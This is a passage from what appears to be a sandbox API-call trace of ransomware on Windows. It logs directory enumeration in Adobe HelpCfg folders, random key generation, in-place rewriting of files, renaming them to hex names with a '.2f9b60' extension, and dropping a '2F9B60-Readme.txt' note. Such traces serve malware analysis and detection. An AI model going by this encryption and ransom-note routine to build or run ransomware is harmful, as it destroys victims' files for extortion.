RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x62ddff27 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x7a685b1d [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x7dacf34f [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x6735e6cf [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x6a1f7d87 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x296ff393 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x4735768 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0xb649237 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x14656c49 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x450c4f29 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x1e284742 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x73445bd [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x4360a2a3 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x4878bae1 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x2327c339 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x5e64bca1 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0xad8692b [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x66a3f59a [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x157502cf [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x1a9ad4d9 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x19e555e [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x440076f6 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x61661dfb [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x6de3da85 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x4dbce57e [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x4784f54a [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x37f7a26e [0151.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff9c0 [0151.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0151.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff9f0 [0151.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0151.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff990) returned 1 [0151.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058830 [0151.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0151.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42510190 [0151.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42513da0 [0151.580] ReadFile (in: hFile=0x2544, lpBuffer=0x42510190, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2f5ef870, lpOverlapped=0x0 | out: lpBuffer=0x42510190*, lpNumberOfBytesRead=0x2f5ef870*=0x15d, lpOverlapped=0x0) returned 1 [0151.580] SetFilePointerEx (in: hFile=0x2544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.580] WriteFile (hFile=0x2544, lpBuffer=0x42513da0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2f5ef874, lpOverlapped=0x0) [0192.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a030 [0192.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a060 [0192.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a060) returned 1 [0192.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42513da0) returned 1 [0192.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42510190) returned 1 [0192.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0192.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058830) returned 1 [0192.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d7b0 [0192.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058830 [0192.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0192.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a060 [0192.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a060) returned 1 [0192.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d7f0 [0192.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a060 [0192.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a090 [0192.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a090) returned 1 [0192.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0192.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058830) returned 1 [0192.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x167700 [0192.859] SetFilePointerEx (in: hFile=0x2544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.859] WriteFile (in: hFile=0x2544, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f5ef990, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2f5ef990*=0x118, lpOverlapped=0x0) returned 1 [0201.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0201.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffa80 [0201.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffa80) returned 1 [0201.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ffa80 [0201.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffa50 [0201.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff990 [0201.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff990) returned 1 [0201.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0201.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.463] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="77") returned 2 [0201.463] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="65") returned 2 [0201.463] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="25") returned 2 [0201.463] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="1a") returned 2 [0201.463] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.463] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="a7") returned 2 [0201.463] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="c3") returned 2 [0201.463] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="67") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="7d") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="80") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="2d") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="85") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="e7") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="45") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="f6") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="64") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.463] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="3e") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="c2") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="32") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="8c") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="01") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="44") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="da") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="e6") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="11") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="df") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="c4") returned 2 [0201.464] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="47") returned 2 [0201.464] RtlInitAnsiString (in: DestinationString=0x2f5efa08, SourceString="7765251acea7c36c677d802d85e71b45f6648a3ec2328cbff71c01446e0fda1e8ae611dfc447" | out: DestinationString="7765251acea7c36c677d802d85e71b45f6648a3ec2328cbff71c01446e0fda1e8ae611dfc447") [0201.464] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f5ef9d8, SourceString="7765251acea7c36c677d802d85e71b45f6648a3ec2328cbff71c01446e0fda1e8ae611dfc447", AllocateDestinationString=1 | out: DestinationString="7765251acea7c36c677d802d85e71b45f6648a3ec2328cbff71c01446e0fda1e8ae611dfc447") returned 0x0 [0201.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a7170 [0201.465] wcscat (in: _Dest=0x431a70c0, _Source="7765251acea7c36c677" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\7765251acea7c36c677") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\7765251acea7c36c677" [0201.465] wcscat (in: _Dest=0x431a70c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\7765251acea7c36c677.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\7765251acea7c36c677.2f9b60" [0201.465] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\7765251acea7c36c677.2f9b60", NtPathName=0x2f5ef9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\7765251acea7c36c677.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310ae70 [0205.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ae70) returned 1 [0205.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43208df0) returned 1 [0205.805] NtQueryInformationFile (in: FileHandle=0x2544, IoStatusBlock=0x2f5efa18, FileInformation=0x2f5efa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f5efa18, FileInformation=0x2f5efa28) returned 0x0 [0205.805] NtSetInformationFile (FileHandle=0x2544, IoStatusBlock=0x2f5efa18, FileInformation=0x2f5efa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a70c0) returned 1 [0208.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7170) returned 1 [0208.634] FlushFileBuffers (hFile=0x2544) returned 1 [0208.636] CloseHandle (hObject=0x2544) returned 1 [0209.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43185f80 [0209.655] wcscpy (in: _Dest=0x43185f80, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\" [0209.655] wcscat (in: _Dest=0x43185f80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\2F9B60-Readme.txt" [0209.655] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz\\2f9b60-readme.txt")) returned 0xffffffff [0209.655] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23f4 [0218.165] WriteFile (in: hFile=0x23f4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f5ef8d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f5ef8d0*=0xba9, lpOverlapped=0x0) returned 1 [0222.588] CloseHandle (hObject=0x23f4) returned 1 [0224.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43185f80) returned 1 [0224.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508e50) returned 1 [0224.053] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0224.053] FindClose (in: hFindFile=0x1b858af0 | out: hFindFile=0x1b858af0) returned 1 [0224.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56560) returned 1 [0224.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8678c0) returned 1 [0224.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868640) returned 1 Thread: id = 1947 os_tid = 0x1138 [0135.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79dd70 [0135.637] wcscpy (in: _Dest=0x1b79dd70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" [0135.637] wcscat (in: _Dest=0x1b79dd70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\" [0135.637] wcscat (in: _Dest=0x1b79dd70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*" [0135.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56a40 [0135.638] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858670 [0135.646] wcscmp (_String1=".", _String2=".") returned 0 [0135.646] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.646] wcscmp (_String1="..", _String2=".") returned 1 [0135.646] wcscmp (_String1="..", _String2="..") returned 0 [0135.646] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.646] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.646] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205090d0 [0135.647] wcscpy (in: _Dest=0x205090d0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" [0135.647] wcscat (in: _Dest=0x205090d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\" [0135.647] wcscat (in: _Dest=0x205090d0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg" [0151.580] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk\\reader_10.0.helpcfg")) returned 0x20 [0151.581] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0151.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2548 [0151.582] GetFileSizeEx (in: hFile=0x2548, lpFileSize=0x2f81f800 | out: lpFileSize=0x2f81f800*=349) returned 1 [0151.582] SetFilePointerEx (in: hFile=0x2548, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.582] ReadFile (in: hFile=0x2548, lpBuffer=0x2f81f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f81f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2f81f780*, lpNumberOfBytesRead=0x2f81f7c8*=0x4, lpOverlapped=0x0) returned 1 [0151.583] SetFilePointerEx (in: hFile=0x2548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff990 [0151.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffa20 [0151.583] NtQuerySystemTime (in: CurrentTime=0x2f81f6c0 | out: CurrentTime=0x2f81f6c0*=132462177567874000) returned 0x0 [0151.583] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x59c6b123 [0151.583] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x3c0d89f5 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x7e534730 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x8b38bc6 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x76ef9195 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x62f13764 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x7889449c [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x1cfea25 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x394a1f86 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x270588f9 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x3cc89abc [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x6394348e [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x2f464886 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x7c38dcee [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x26d1e410 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x607cb2d2 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x73445bd [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x556997c1 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x76963990 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x1fba09c3 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x6cc55235 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x64a997a8 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x5ef07876 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x158ea24b [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x387b6f49 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x211d087e [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x419c5e3c [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x1fe0b8f7 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x62ddff27 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x4a3d1947 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x1d91efe4 [0151.584] RtlRandomEx (in: Seed=0x2f81f6b0 | out: Seed=0x2f81f6b0) returned 0x4ad74b64 [0151.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffa50 [0151.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8682c0 [0151.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffa80 [0151.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 [0151.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffa20) returned 1 [0151.592] RtlFreeHeap 